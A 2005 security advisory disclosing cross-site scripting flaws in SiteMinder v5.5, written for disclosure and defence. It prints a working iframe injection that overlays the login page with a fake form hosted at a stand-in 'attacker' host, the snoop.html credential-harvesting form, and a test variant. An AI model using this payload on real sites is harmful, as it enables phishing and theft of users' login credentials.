Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email hr@neohapsis.com
SiteMinder Multiple Vulnerabilities

Date: Fri Jul 08 2005 - 09:03:11 CDT

  $ An open security advisory #10 - Siteminder v5.5 Vulnerabilities
  1: Bug Researcher: c0ntex - c0ntexb[at]gmail.com
  2: Bug Released: July 08 2005
  3: Bug Impact Rate: Medium / Hi
  4: Bug Scope Rate: Remote
  $ This advisory and/or proof of concept code must not be used for commercial gain.


  "eTrust™ SiteMinder® is a market-leading, security and management foundation for enterprise Web
  applications with a centralized security infrastructure for managing user authentication and
  access. eTrust SiteMinder delivers the market’s most advanced security management capabilities
  and enterprise-class site administration, reducing overall IT operational cost and complexity.
  eTrust SiteMinder enables the secure delivery of essential information and applications to
  employees, partners, suppliers and customers, and scales with growing business needs.."

  Siteminder is vulnerable to XSS whereby a user can tag HTML or javascript on to various locations
  in a URL or input field and have the script run in the local users browser. This can be used to
  perform phishing attacks, hijack users browser sessions or user account information by redrawing
  the login page of a site.


  The following link will abuse the URL option by first logging the user out of the site with a
  timeout error, due to the fact that we send her off to another HTTPS site, taking the user back to
  the login page. Next, we open an IFRAME over the original login fields with malicious Username and
  Password input fields, whereby a user will then supply their login details to a malicious site,
  to be later harvested and used in an attack.

  <iframe bgcolor="white" src="https://attacker/snoop.html" style="position: absolute; top:
  270px; left: 15 px;"></iframe><iframe src="https://attacker/snoop.html" style="position:
  absolute; top: 270px; left: 15 px;"></iframe>

  To test if you are vulnerable to this issue, you can tag the following on to the end of a
  siteminder URL. If it is successful, you should see the Google homepage within an IFRAME.

  "><iframe bgcolor="white" src="http://www.google.com" style="position: absolute; top: 270px;
  left: 15 px;"></iframe><iframe src="http://www.google.com" style="position: absolute; top:
  270px; left: 15 px;"></iframe>

  /* snoop.html */
     User ID
      <input type="text" name="UserID">
      <input type="text" name="Password">
      <input type="submit" value="Submit">

  I have contacted Netegrity via ca.com multiple times but received no response, as such, users
  should use a filtering technology like modsecurity to detect the above descibed attacks until
  a fix has been released.